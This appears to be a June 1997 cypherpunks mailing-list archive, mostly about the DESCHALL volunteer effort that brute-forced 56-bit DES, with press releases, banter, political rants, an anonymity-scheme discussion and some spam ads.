Subject: The McVeigh Video Game
In-Reply-To: 
Message-ID: 





> Will the next video game target be evil cryptographers?

Dorothy Denning springs immediately to mind ;-)...

Seriously though, how does one stereotype a cryptographer in order to 
easily represent him/her in graphics? Drug dealers are easy: Shadowy 
character all in black carring guns and scaring small children, 
terrorists also, camoflague wearing rifle carriers, but cryptographers?

Maybe someone wearing a random noise camoflague suit and carrying heavy 
assult weapons such as a 3.5" plastic disk with a copy of PGP on it...


        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From etnho at euronet.nl  Thu Jun 19 02:43:22 1997
From: etnho at euronet.nl (ETN Head Office)
Date: Thu, 19 Jun 1997 02:43:22 -0700 (PDT)
Subject: *** FREE Airfare Quotes from The World's Best Travel Agents
Message-ID: <3.0.16.19970619111833.33afcb9a@euronet.nl>



** FREE Airfare Quotes from The World's Best Travel Agents

** Finding the lowest airfare on Internet has become very easy....

Just complete your Fare Request Form (online or request a form)
online:  http://www.etn.nl/inforeq.htm 
request a form:  mailto:fare4all at etn.nl
and we forward your request to those 5 travel agents who offer 
the lowest fares for the routing you requested.

Within 1 or 2 days you receive fare quotes from different
agents around the World without any obligation to book.
You will be surprised with the great fares our agents can
offer you.

ETN can offer this service FREE OF CHARGE because we are sure
to have the World's best travel agents.  Our agents are permanently
monitored and any agent who cannot convert enough inquiries
into bookings is automatically removed from our list.

Also for discounted hotels, tours, car rentals and transfers
we have some great programs which you find on the
Discount Airfares Home Page: http://www.etn.nl/discount

==============================================================








  European Travel Network Head Office
  P.O.Box 561, NL-5600 AN Eindhoven - Netherlands
  Tel.(31)73-547 9759  Fax (31)73-543 0117  
  E-Mail: etnho at euronet.nl  
  ETN on Internet: http://www.etn.nl  
                      --***--
  ETN is the worldwide association of The World's
  Best Discount Travel Agents, Consolidators and 
  Incoming Tour Operators with Member-Agencies in 
  144 Countries.   Our Agents quote you a fare 
  for your next trip FREE OF CHARGE.  Just send a 
  blank email message to fareform at etn.nl








From declan at well.com  Wed Jun 18 12:34:42 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 19 Jun 1997 03:34:42 +0800
Subject: Declan as a Crime Beat Reporter
In-Reply-To: 
Message-ID: 



At 20:34 -0700 6/17/97, Vladimir Z. Nuri wrote:
>hee, hee, I hope that Declan comes up with an amusing mishmash of your
>own life. turnabout is fair play. maybe if he doesn't, someone else
>can take a stab at satirizing mr. debauched millionaire playboy
>who dabbles in cryptography theory.

I was far from offended by Tim's post; in fact, I thought it was hilarious.

But perhaps I will come up with a "Day in the Life of Tim 'Lock and Load'
May, renegade cypherpunk, millionaire playboy, and curmudgeonly
crypto-anarchist." Anyone want to join me in writing it?

-Declan








From alano at teleport.com  Wed Jun 18 12:59:43 1997
From: alano at teleport.com (Alan)
Date: Thu, 19 Jun 1997 03:59:43 +0800
Subject: Anon E-mail article in WSJ
Message-ID: 



In today's (06/18/97) Wall Street Journal there is an article on Anonymous
e-mail in the corporate environment.  Talks about companies who have set
up systems to recieve anonymous e-mail from employees to deal with
specific situations in the workplace.  Interesting stuff and very
positive.  (A few negatives were listed, but more as sidenotes than
anything.)

Page B-1 has the article.  This time I will be making a copy...

alano at teleport.com | "Those who are without history are doomed to retype it."






From wombat at mcfeely.bsfs.org  Wed Jun 18 13:25:38 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Thu, 19 Jun 1997 04:25:38 +0800
Subject: The Tao
In-Reply-To: 
Message-ID: 





On Tue, 17 Jun 1997, Tim May wrote:

> At 5:34 PM -0700 6/17/97, Tom Weinstein wrote:
> 
> >What is appropriate for the master is not appropriate| Tom Weinstein
> >for the novice.  You must understand Tao before      | tomw at netscape.com
> >transcending structure.  -- The Tao of Programming   |
> 
> All Beings are happy when the Tao approaches 8800.
> 

The Tao of heaven is like the bending of a bow.
The high is lowered, and the low is raised.
If the string is too long, it is shortened;
If there is not enough, it is made longer.







From nobody at REPLAY.COM  Wed Jun 18 13:37:58 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 19 Jun 1997 04:37:58 +0800
Subject: NoneRe: Recipient Anonymity
Message-ID: <199706182024.WAA28920@basement.replay.com>



Matt Ghio wrote:

> A group of servers collects messages of equal length for anonymous
> recipients.  All servers exchange messages so that each has copies of all
> messages.
> 
> A recipient wishes to retrieve a message from the servers without any
> server knowing which message he is receiving.  The recipient selects a
> group of n servers.  From each server, S_1...S_n-1, he requests a random
> selection of messages, with a 50% probability that any particular message
> will be selected.  The server returns the xor of all messages requested.
> He sends the final server a request which is the xor of all the previous
> requests and the one single message that he wants.
> 
> The xor of all the responses is the desired message.  It is impossible to
> determine which message was received unless all servers collude.


So what you're saying is:

                             - Messages - 
           A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

Server 1:  1 0 1 1 0 1 0 0 1 0 1 0 0 0 1 0 1 1 0 1 0 1 0 0 1 1
Server 2:  0 1 1 0 1 1 1 0 1 0 0 0 1 0 0 1 0 1 0 1 0 0 0 1 0 0
Server 3:  1 1 0 1 1 0 1 0 0 0 1 0 1 0 1 1 0 0 0 0 0 1 0 1 1 1


So server 1 sends back the xor of messages A,C,D,F...Z; server 2 sends
back the xor of B,C,E,F,G...etc.  The xor of all of that cancels out
everything except Message Q.  But as long as at least one of the servers
doesn't keep logs then nobody will know that except the person who
downloaded it. 

Clever.  It sure beats reply-blocks.  :)






From alano at teleport.com  Wed Jun 18 13:43:50 1997
From: alano at teleport.com (Alan)
Date: Thu, 19 Jun 1997 04:43:50 +0800
Subject: The Tao
In-Reply-To: 
Message-ID: 



On Tue, 17 Jun 1997, Tim May wrote:
> At 5:34 PM -0700 6/17/97, Tom Weinstein wrote:
> 
> >What is appropriate for the master is not appropriate| Tom Weinstein
> >for the novice.  You must understand Tao before      | tomw at netscape.com
> >transcending structure.  -- The Tao of Programming   |
> 
> All Beings are happy when the Tao approaches 8800.

Sounds like Tim is having another Tao Jones...  (About average for him...)

alano at teleport.com | "Those who are without history are doomed to retype it."






From tcmay at got.net  Wed Jun 18 14:04:03 1997
From: tcmay at got.net (Tim May)
Date: Thu, 19 Jun 1997 05:04:03 +0800
Subject: Declan as a Crime Beat Reporter
In-Reply-To: <199706180334.UAA12837@netcom2.netcom.com>
Message-ID: 



At 11:37 AM -0700 6/18/97, Declan McCullagh wrote:
>At 20:34 -0700 6/17/97, Vladimir Z. Nuri wrote:
>>hee, hee, I hope that Declan comes up with an amusing mishmash of your
>>own life. turnabout is fair play. maybe if he doesn't, someone else
>>can take a stab at satirizing mr. debauched millionaire playboy
>>who dabbles in cryptography theory.
>
>I was far from offended by Tim's post; in fact, I thought it was hilarious.

And I took pains to make sure it was not taken as a malicious attack. It
was, if anything, a reflection of my realization (known before, but not in
this version) that Washington is literally nothing more than just the
world's largest shakedown racket, with taxpayers being extorted amounts of
money probably unprecedented in world history (*), with various factions
dispensing favors to some and punishing others.

Bruce Sterling, at CFP '97, had an awe-inspiring rant about this essential
criminality of governments around the world, how they use their powers to
shake down businessmen and citizens, how they are complicit in the drug
trade, how, of course, the drug trade wouldn't even exist in its current
criminal form if governments did not collude to criminalize drugs and then
run drugs in to their customers in the CIA's C-5 cargo planes. Sterling
discussed the "government as biggest crime syndicate" situtations in
several major countries, including Mexico, where the "Institutionalized
Revolutionary Party" (I'm not making that up, a la Orwell) kills its
opponents and runs the drug economy, Russia ('nuff said), Turkey (right
wing Pope killers, CIA station chiefs, and drug lords riding in the same
crashed car), and, last but not least, the United States of America.

(I hope a transcript is somewhere available on the Web, but his delivery
was done to perfection, so I hope a video of it is someday realeased.
Airing his 10-minute (I think) speech would be vastly more helpful to the
anti-fascist cause than all the meaningless "I take the Pledge" PR stuff.)


>But perhaps I will come up with a "Day in the Life of Tim 'Lock and Load'
>May, renegade cypherpunk, millionaire playboy, and curmudgeonly
>crypto-anarchist." Anyone want to join me in writing it?

No skin off my nose. Some good satire would be refreshing. Whomever was
doing the "Cypherpunks Enquirer" has apparently moved on to other things.
Neither Vulis' robograms nor Detweiler's foamings are very interesting.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From jsimmons at goblin.punk.net  Wed Jun 18 14:18:57 1997
From: jsimmons at goblin.punk.net (Jeff Simmons)
Date: Thu, 19 Jun 1997 05:18:57 +0800
Subject: DESCHALL Press Release (fwd)
Message-ID: <199706182110.OAA07864@goblin.punk.net>



Forwarded message:
>From owner-deschall-announce at gatekeeper.megasoft.com Wed Jun 18 13:43:46 1997
Date: Wed, 18 Jun 1997 14:09:11 -0600
From: Rocke Verser 
Message-Id: <199706182009.OAA06697 at dopey.verser.frii.com>
To: deschall at gatekeeper.megasoft.com
Subject: DESCHALL Press Release
Sender: owner-deschall at gatekeeper.megasoft.com
Precedence: bulk

        INTERNET-LINKED COMPUTERS CHALLENGE DATA ENCRYPTION STANDARD

     LOVELAND, COLORADO (June 18, 1997).  Tens of thousands of
computers, all across the U.S. and Canada, linked together via the
Internet in an unprecedented cooperative supercomputing effort to
decrypt a message encoded with the government-endorsed Data Encryption
Standard (DES).

     Responding to a challenge, including a prize of $10,000, offered by
RSA Data Security, Inc, the DESCHALL effort successfully decoded
RSADSI's secret message.

     According to Rocke Verser, a contract programmer and consultant who
developed the specialized software in his spare time, "Tens of thousands
of computers worked cooperatively on the challenge in what is believed
to be one of the largest supercomputing efforts ever undertaken outside
of government."

     Using a technique called "brute-force", computers participating in
the challenge simply began trying every possible decryption key.  There
are over 72 quadrillion keys (72,057,594,037,927,936).  At the time the
winning key was reported to RSADSI, the DESCHALL effort had searched
almost 25% of the total.  At its peak over the recent weekend, the
DESCHALL effort was testing 7 billion keys per second.

     Verser considers this project to be remarkable in two ways:

     One.  This is the first time anyone has publicly shown that they
can read a message encrypted with DES.  And this was done with "spare"
CPU time, mostly from ordinary PCs, by thousands of users who have never
even met each other.  U.S. government and industry will have to take a
hard look at their cryptographic policies.  "DES can no longer be
considered secure against a determined adversary", Verser said.

     Two.  This project demonstrates the kind of supercomputing power
that can be harnessed on the Internet using nothing but "spare" CPU
time.  "Imagine what might be possible using millions of computers
connected to the Internet!"  Aside from cryptography and other obvious
mathematical uses, supercomputers are used in many fields of science.
"Perhaps a cure for cancer is lurking on the Internet?", said Verser,
"Or perhaps the Internet will become Everyman's supercomputer."


     Under current U.S. government export regulations, and underscoring
a problem faced by the U.S. software industry, the program that searched
the keys could not be exported, except to Canada.  A competitive effort,
based in Sweden, sprang up well after the DESCHALL effort began.  Able
to "market" their keysearch software around the world, the Swedish
effort caught up quickly, and had searched nearly 10 quadrillion keys by
the end of the contest.

                   ------------------------------------

     Verser agrees with the sentiment voiced in RSADSI's secret message:
"Strong cryptography makes the world a safer place."

     Use of strong cryptography, both domestically and internationally,
is essential in today's electronic world.  "But not at the expense of a
citizen's right to privacy."  Verser adds, "Recent proposals for
'key-recovery' and for criminalization of the use of cryptography have no
place in a free society."


     Information about the DESCHALL effort is available from the
official DESCHALL Web site at:  



MEDIA CONTACTS:
      Matt Curtin, (908) 431-5300 x 295, 

ALTERNATE:
      Rocke Verser, (970) 663-5629, 

ALTERNATE:
      Justin Dolske, (614) 459-5194, 

                                    - 30 -






         INTERNET LINKED COMPUTERS CHALLENGE DATA ENCRYPTION STANDARD
             Background / Sidebar, for Release dated June 18, 1997

     The Data Encryption Standard, DES, is a national standard, adopted
in 1977.  Use of DES is mandatory in most Federal agencies, except the
military.  DES is very widely used in the private sector, as well.

     Interbank wire transfers, Visa transactions, your medical and
financial records, and your employer's financial data are some of the
many things secured against prying eyes or against modification by DES.

     When the Data Encryption Standard was adopted in 1977, there was
some question as to whether or not the Standard was adequate to protect
confidential data.

     Matt Curtin, Chief Scientist for Megasoft, Inc. says, "This is
proving by example, not by mathematical calculation, that DES can be
broken with little or no cost."  Curtin added, "Others could just as
easily be attempting to gain access to multibillion dollar wire
transfers."


MEDIA CONTACTS:
      Matt Curtin, (908) 431-5300 x 295, 

ALTERNATE:
      Rocke Verser, (970) 663-5629, 

ALTERNATE:
      Justin Dolske, (614) 459-5194, 

                                    - 30 -







         INTERNET LINKED COMPUTERS CHALLENGE DATA ENCRYPTION STANDARD
                 Background for Release dated June 18, 1997

                           DESCHALL DATA SHEET

DESCHALL Web site:
  

Principal Organizer:
  Rocke Verser, self-employed contract programmer, Loveland, Colorado

Team Leaders - Did "everything" Rocke didn't have time to do
  Matt Curtin, Chief Scientist, Megasoft Online
  Justin Dolske, Graduate Fellow / Research Associate, Ohio State Universtiy

Team Contributors:
  Guy Albertelli, several "ports"
  Kelly Campbell, original Mac port
  Darrell Kindred, blazing fast bitslice clients
  Andrew Meggs, blazing fast Mac client
  Karl Runge, statistics and rankings

Team Members:
  Dozens of people who contributed "shareware".
  Thousands of ordinary folks, who contributed "spare" CPU cycles.


Project statistics:
  Start of contest:                  January 29, 1997
  Announcement of DESCHALL project:  February 18, 1997
  End of contest:                    June 17, 1997

  Size of keyspace:  72,057,594,037,927,936
  Keys searched:     17,731,502,968,143,872
  Peak keys/day:        601,296,394,518,528
  Peak keys/second:           7,000,000,000 (approx)

  Peak clients/day:                  14,000 (approx, based on IP address)
  Total clients, since start:        78,000 (approx, based on IP address)

The computer that found the key:
  CPU:                  Pentium 90
  RAM:                  16 megabytes
  Operating System:     FreeBSD 2.2.1
  Speed (keys/second):  250,000 (approx)
  Client:               FreeBSD v0.214, built March 12, 1997
  Owner:                iNetZ Corporation, Salt Lake City, Utah
  Operator:             Michael K. Sanders


MEDIA CONTACTS:
      Matt Curtin, (908) 431-5300 x 295, 

ALTERNATE:
      Rocke Verser, (970) 663-5629, 

ALTERNATE:
      Justin Dolske, (614) 459-5194, 


-- 
Jeff Simmons					jsimmons at goblin.punk.net

       Hey, man, got any spare CPU cycles?  Help crack DES.
             http://www.frii.com/~rcv/deschall.htm






From rah at shipwright.com  Wed Jun 18 14:32:19 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Thu, 19 Jun 1997 05:32:19 +0800
Subject: Deschall Fwd: WE FOUND IT!
Message-ID: 




--- begin forwarded text


Mime-Version: 1.0
Date: Wed, 18 Jun 1997 17:01:16 -0400
To: dcsb at ai.mit.edu
From: Kent Borg 
Subject: Deschall Fwd: WE FOUND IT!
Sender: bounce-dcsb at ai.mit.edu
Precedence: bulk
Reply-To: Kent Borg 

56-bit DES has now been publicly cracked!  In a chaotic volunteer effort,
no less.  Cool!

-kb, the Kent who's Macintosh searched quite a few billion keys, but did
not find it.


<< start of forwarded material >>

 ** Date: Wed, 18 Jun 1997 13:46:19 -0600
 ** From: Rocke Verser 
 ** To: deschall-announce at gatekeeper.megasoft.com
 ** Subject:  WE FOUND IT!
 ** Sender: owner-deschall-announce at gatekeeper.megasoft.com
 ** Precedence: bulk
 **
 ** -----BEGIN PGP SIGNED MESSAGE-----
 **
 **         "Strong cryptography makes the world a safer place."
 **
 ** That's the message RSA has been waiting for us to decipher.
 ** And we did it!
 **
 ** The correct key (8558891AB0C851B6) was reported to RSA Data Security
 ** shortly before midnight last night (Mountain Time).  RSA's automated
 ** server acknowledged our win!
 **
 ** The winning computer is a Pentium 90MHz, operated by iNetZ Corporation
 ** of Salt Lake City, Utah.  Their employee, Michael K. Sanders, was the
 ** individual who was running the DESCHALL client.
 **
 ** Congratulations, Michael.  And congratulations to all who participated!
 **
 **
 ** Many thanks are due, all around.
 **
 ** Special thanks to Justin Dolske and Matt Curtin, who took enormous
 ** pressure off of me, early in the project; and who have kept the client
 ** archives, mailing lists, and gateways humming right along; and who
 ** diligently responded to *so many* questions on the mailing lists.
 ** Thanks very much!
 **
 ** Special thanks to Darrell Kindred and Andrew Meggs, whose programming
 ** skill in their respective fields (fast bitslice clients and fast
 ** user-friendly Mac PPC clients) is unmatched!
 **
 ** Special thanks to Karl Runge, who has spent many evenings into the wee
 ** hours (is 5 AM wee?) to develop some outstanding stats and to make sure
 ** those stats were posted each morning!
 **
 ** Special thanks to Jeff Simmons, and others, whose names tragically
 ** escape me, who did some early publicity to get the project rolling!
 **
 ** Special thanks to the other developers, Guy Albertelli and Kelly
 ** Campbell.  Guy performed a number of "ports", and Kelly produced the
 ** first Mac client.
 **
 ** Thanks to countless others, who devoted not just their CPU cycles, but
 ** their boundless energy as well.
 **
 **
 ** I offer both thanks and consolations to our only public "competitor",
 ** SolNET.
 **
 ** Magnus and Fredrik:  As I have said before, SolNET is a class outfit.  I
 ** never once heard you disparage your competition.  We thank you!
 **
 ** In a sense, the "win" belongs to all of us, who contributed CPU cycles
 ** and clients and ideas and innovations.  We searched less than 1/4 of the
 ** keyspace.  Worldwide, over half of the keyspace was searched.  A
 ** DESCHALL client may have found "the" key, but you deserve credit for
 ** helping to bring the "expected date of completion" significantly ahead.
 **
 ** Your Web site gave us a goal to shoot for.  A goal which we never met.
 ** Your clients had many features our users wished for.  There is no shame
 ** in not finding the key.  But I know the anguish you must feel after
 ** putting your hearts and souls into a project for 3-4 months, and not
 ** being "the" winner.
 **
 ** In my eyes, everyone who participated, whether working for the DESCHALL
 ** team or the SolNET team is a winner!
 **
 **
 ** Last but not least, thanks to my dear wife, Myra, who allowed me to
 ** engage in this project (when I should have been looking for my next
 ** contract programming job); and to her and my children, who tolerated
 ** the disruption to our household routine caused by this project.
 **
 **
 ** - - Rocke Verser, DESCHALL organizer, rcv at dopey.verser.frii.com
 **
 ** -----BEGIN PGP SIGNATURE-----
 ** Version: 2.6.2
 **
 ** iQCVAwUBM6g4wXI7TKUAAAABAQGNrwQAyuvPPGgIaRMmveI/9MwbTq6SbNerD4A3
 ** VluN2EW+GCvT1UiyTV2eQ3tJB+9f5RUVnQ77rqsVvME1Go0M1Vckq0VPzBdMYWgq
 ** laNv8tf4LEkSyu2LrfoLONyvrNmcByRmO8Bwt/QtqICK4gFpXcnoWXaCz4NG6iZf
 ** 6NtPgJnQh6o=
 ** =I+bG
 ** -----END PGP SIGNATURE-----
 **

<< end of forwarded material >>



--
Kent Borg                               H: +1-617-776-6899
kentborg at borg.org                       W:
          "The language seemed pretty natural to me.
                    I talk a lot like that."
        - My Minnesota mother Helene commenting on "Fargo"



For help on using this list (especially unsubscribing), send a message to
"dcsb-request at ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From lucifer at dhp.com  Wed Jun 18 15:05:31 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Thu, 19 Jun 1997 06:05:31 +0800
Subject: The Tao
Message-ID: <199706182153.RAA14958@dhp.com>



Rabid Wombat wrote:
> 
> The Tao of heaven is like the bending of a bow.
> The high is lowered, and the low is raised.
> If the string is too long, it is shortened;
> If there is not enough, it is made longer.

  I had a boyfriend like that once.

TruthMistress







From enoch at zipcon.net  Wed Jun 18 16:28:10 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Thu, 19 Jun 1997 07:28:10 +0800
Subject: DESCHALL Press Release (fwd)
In-Reply-To: <199706182110.OAA07864@goblin.punk.net>
Message-ID: <199706182318.QAA29014@zipcon.net>




>         INTERNET-LINKED COMPUTERS CHALLENGE DATA ENCRYPTION STANDARD

[snip]

> At the time the winning key was reported to RSADSI, the DESCHALL effort
> had searched almost 25% of the total.  At its peak over the recent
> weekend, the DESCHALL effort was testing 7 billion keys per second. 

A quick question.  Was finding the key by searching less than a quarter
of the keyspace just luck?  Or did the DESCHALL folks exclude keyspace
already searched by competing efforts?

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $






From declan at well.com  Wed Jun 18 16:31:23 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 19 Jun 1997 07:31:23 +0800
Subject: Award from Computer Press Ass'n (shameless self-congratulation)
Message-ID: 



I just learned that Brock Meeks and I won the top award for "Best Online
Feature" from the Computer Press Association during its 12th annual awards
ceremony in New York City. Our winning article was the investigative story
"Keys to the Kingdom" that exposed the hidden agendas of so-called blocking
software programs. It ran in CyberWire Dispatch last July.

The judges said we had:

 "produced an investigative piece on a serious and important
 subject--a rare feat in any media.  'Keys to the Kingdom' revealed
 that parental control software--which ostensibly filters out
 pornographic Internet sites--actually restricts access to all
 types of material both innocuous and important.  Thus, software
 users unwittingly restrict their rights of free speech and access
 to information.  This story, colorfully written and packed with
 details, raised this important issue to the online community and
 resulted in high profile follow-ups with mainstream media such as
 the Washington Post, New York Times and the Wall St. Journal."

Our article is at:

http://www.eff.org/pub/Publications/Declan_McCullagh/cwd.keys.to.the.kingdom.079
6.article

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From jya at pipeline.com  Wed Jun 18 16:48:03 1997
From: jya at pipeline.com (John Young)
Date: Thu, 19 Jun 1997 07:48:03 +0800
Subject: Award from Computer Press Ass'n (shameless self-congratulation)
Message-ID: <1.5.4.32.19970618233105.00708a00@pop.pipeline.com>



Congrats Declan, and Brock.

The best blow-by was that "colorfully written and packed with details."

Too bad, that ass-kiss o'death "high-profile follow-up with mainstream media."







From frissell at panix.com  Wed Jun 18 16:58:28 1997
From: frissell at panix.com (frissell at panix.com)
Date: Thu, 19 Jun 1997 07:58:28 +0800
Subject: Declan as a Crime Beat Reporter
In-Reply-To: 
Message-ID: <3.0.2.32.19970618182700.0384a25c@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 01:50 PM 6/18/97 -0700, Tim May wrote:
>Washington is literally nothing more than just the
>world's largest shakedown racket, with taxpayers being extorted amounts of
>money probably unprecedented in world history (*), with various factions
>dispensing favors to some and punishing others.

Each year, the U.S. federal government steals and spends more money (and more 
actual value) than any government has ever stolen and blown before in the 
history of mankind.   It has been the record holder for more than 50 years 
and each year it breaks its own record.

I am aware that this is because the U.S. is the world's largest economy but 
that fact does not diminish the scale of the theft.

DCF

"And still they want more."
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM6hgs4VO4r4sgSPhAQE9dwP/VtpR6VWejpDnunTOQhiJwq/MwQTRvGD2
faBIJ3OrahlzlylwyN0b9pCFXMMDrzKR5ANED9ccPmy3ZqL1RWYhN4WO3Yf5ooxA
6NoPTelrwLGo15EjM6MjvyPXhid4qDfLlyNi8qocI3FKHsEANW63yktZb7eeoCJ3
mXQ9CHePPS4=
=stVA
-----END PGP SIGNATURE-----






From jsimmons at goblin.punk.net  Wed Jun 18 17:15:28 1997
From: jsimmons at goblin.punk.net (Jeff Simmons)
Date: Thu, 19 Jun 1997 08:15:28 +0800
Subject: DESCHALL Press Release (fwd)
In-Reply-To: <199706182318.QAA29014@zipcon.net>
Message-ID: <199706190008.RAA10910@goblin.punk.net>



> 
> 
> >         INTERNET-LINKED COMPUTERS CHALLENGE DATA ENCRYPTION STANDARD
> 
> [snip]
> 
> > At the time the winning key was reported to RSADSI, the DESCHALL effort
> > had searched almost 25% of the total.  At its peak over the recent
> > weekend, the DESCHALL effort was testing 7 billion keys per second. 
> 
> A quick question.  Was finding the key by searching less than a quarter
> of the keyspace just luck?  Or did the DESCHALL folks exclude keyspace
> already searched by competing efforts?
 
There were three main groups looking for the RSADSI key:  DESCHALL,
SOLNet (European based), and a private attack at SGI.  To my knowledge
none of them excluded keyspace the others had searched.

You might call it luck, but at the time the key was found, the combined
keyspace searched by the three groups was a bit over 50%, even counting
in the expected number of duplicate keys searched.

-- 
Jeff Simmons				"Hey guys, I don't hear any noise,
jsimmons at goblin.punk.net		 Are you sure you're doing it right?"






From computermas at aol.com  Thu Jun 19 08:54:47 1997
From: computermas at aol.com (computermas at aol.com)
Date: Thu, 19 Jun 1997 08:54:47 -0700 (PDT)
Subject: We Close All Sales For You!!!
Message-ID: <0000000000.AAA000@aol.com>





I DON'T HAVE TIME FOR MLM
                      AND I DON'T WANT TO TALK TO PEOPLE,

                     Yet I Made $2300.00 Last Week (4th Week)!

                      *** CALL (800) 811-2141   CODE #15043 ***

                                       $$$   FREE CALL $$$

                          SIMPLY ADVERTISE THE ABOVE (800)
                          NUMBER WITH YOUR OWN ID CODE!
                                           IT'S THAT EASY!

                      We talk to them for you! We mail the materials!
                    We close them! You get $100 EACH paid weekly!

                              PAYS UP TO 85% TO INFINITY!!!

                        "I made & received $2,300 my 4th week,
                    $2,360 my 3rd week, and $2,110 my 2nd week.

        ** IF YOU CAN FIND A PROGRAM THAT'S EASIER THAN
              THIS ONE, WE WILL ENROLL YOU FOR FREE!!!**

         YOU HAVE NOTHING TO LOSE. THE CALL IS FREE!! 
                                               CALL NOW!!!









From twinsvideo at infosel.net.mx  Wed Jun 18 18:05:05 1997
From: twinsvideo at infosel.net.mx (twinsvideo at infosel.net.mx)
Date: Thu, 19 Jun 1997 09:05:05 +0800
Subject: INFORMATION
Message-ID: 



donn't think that i'm lame or somthin' but i realy need information on how to hack so, could you please tell me how to hack 
and what do i need in order to hack.

don't worry i won't get into trouble.

please hurry it's urgent.

T H N X   A L O T !
-------------------------------------
Name: twins video,s.a. de c.v.
E-mail: twinsvideo at infosel.net.mx
Date: 18/06/97
Time: 6:46:10 PM

This message was sent by Chameleon 
-------------------------------------







From wombat at mcfeely.bsfs.org  Wed Jun 18 18:56:21 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Thu, 19 Jun 1997 09:56:21 +0800
Subject: The Tao
In-Reply-To: <199706182153.RAA14958@dhp.com>
Message-ID: 





On Wed, 18 Jun 1997, lucifer Anonymous Remailer wrote:

> Rabid Wombat wrote:
> > 
> > The Tao of heaven is like the bending of a bow.
> > The high is lowered, and the low is raised.
> > If the string is too long, it is shortened;
> > If there is not enough, it is made longer.
> 
>   I had a boyfriend like that once.
> 
> TruthMistress
> 

The female overcomes the male with stillness,
Lying low in stillness.

-r.w.
"A good marsuipal leaves no tracks."






From sameer at c2.net  Wed Jun 18 19:07:42 1997
From: sameer at c2.net (sameer)
Date: Thu, 19 Jun 1997 10:07:42 +0800
Subject: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION STANDARD
Message-ID: <199706190155.SAA08785@gabber.c2.net>



C2Net Software, Inc.
1212 Broadway
Oakland, CA 94612
510-986-8770

For Immediate Release

	  HACKERS SMASH U.S. GOVERNMENT ENCRYPTION STANDARD

Oakland, California (June 18, 1997)-The 56-bit DES encryption
standard, long claimed "adequate" by the U.S. Government, was
shattered yesterday using an ordinary Pentium personal computer
operated by Michael K. Sanders, an employee of iNetZ, a Salt Lake
City, Utah-based online commerce provider. Sanders was part of a
loosely organized group of computer users responding to the "RSA
$10,000 DES Challenge." The code-breaking group distributed computer
software over the Internet for harnessing idle moments of computers
around the world to perform a 'brute force' attack on the encrypted
data.

"That DES can be broken so quickly should send a chill through the
heart of anyone relying on it for secure communications," said Sameer
Parekh, one of the group's participants and president of C2Net
Software, an Internet encryption provider headquartered in Oakland,
California (http://www.c2.net/). "Unfortunately, most people today
using the Internet assume the browser software is performing secure
communications when an image of a lock or a key appears on the
screen. Obviously, that is not true when the encryption scheme is
56-bit DES," he said.

INetZ vice president Jon Gay said "We hope that this will encourage
people to demand the highest available encryption security, such as
the 128-bit security provided by C2Net's Stronghold product, rather
than the weak 56-bit ciphers used in many other platforms."

Many browser programs have been crippled to use an even weaker, 40-bit
cipher, because that is the maximum encryption level the
U.S. government has approved for export. "People located within the US
can obtain more secure browser software, but that usually involves
submitting an affidavit of eligibility, which many people have not
done," said Parekh. "Strong encryption is not allowed to be exported
from the U.S., making it harder for people and businesses in
international locations to communicate securely," he explained.

According to computer security expert Ian Goldberg, "This effort
emphasizes that security systems based on 56-bit DES or
"export-quality" cryptography are out-of-date, and should be phased
out. Certainly no new systems should be designed with such weak
encryption.'' Goldberg is a member of the University of California at
Berkeley's ISAAC group, which discovered a serious security flaw in
the popular Netscape Navigator web browser software.

The 56-bit DES cipher was broken in 5 months, significantly faster
than the hundreds of years thought to be required when DES was adopted
as a national standard in 1977. The weakness of DES can be traced to
its "key length," the number of binary digits (or "bits") used in its
encryption algorithm. "Export grade" 40-bit encryption schemes can be
broken in less than an hour, presenting serious security risks for
companies seeking to protect sensitive information, especially those
whose competitors might receive code-breaking assistance from foreign
governments.

According to Parekh, today's common desktop computers are tremendously
more powerful than any computer that existed when DES was
created. "Using inexpensive (under $1000) computers, the group was
able to crack DES in a very short time," he noted. "Anyone with the
resources and motivation to employ modern "massively parallel"
supercomputers for the task can break 56-bit DES ciphers even faster,
and those types of advanced technologies will soon be present in
common desktop systems, providing the keys to DES to virtually
everyone in just a few more years."

56-bit DES uses a 56-bit key, but most security experts today consider
a minimum key length of 128 bits to be necessary for secure
encryption. Mathematically, breaking a 56-bit cipher requires just
65,000 times more work than breaking a 40-bit cipher. Breaking a
128-bit cipher requires 4.7 trillion billion times as much work as one
using 56 bits, providing considerable protection against brute-force
attacks and technical progress.

C2Net is the leading worldwide provider of uncompromised Internet
security software. C2Net's encryption products are developed entirely
outside the United States, allowing the firm to offer full-strength
cryptography solutions for international communications and
commerce. "Our products offer the highest levels of security available
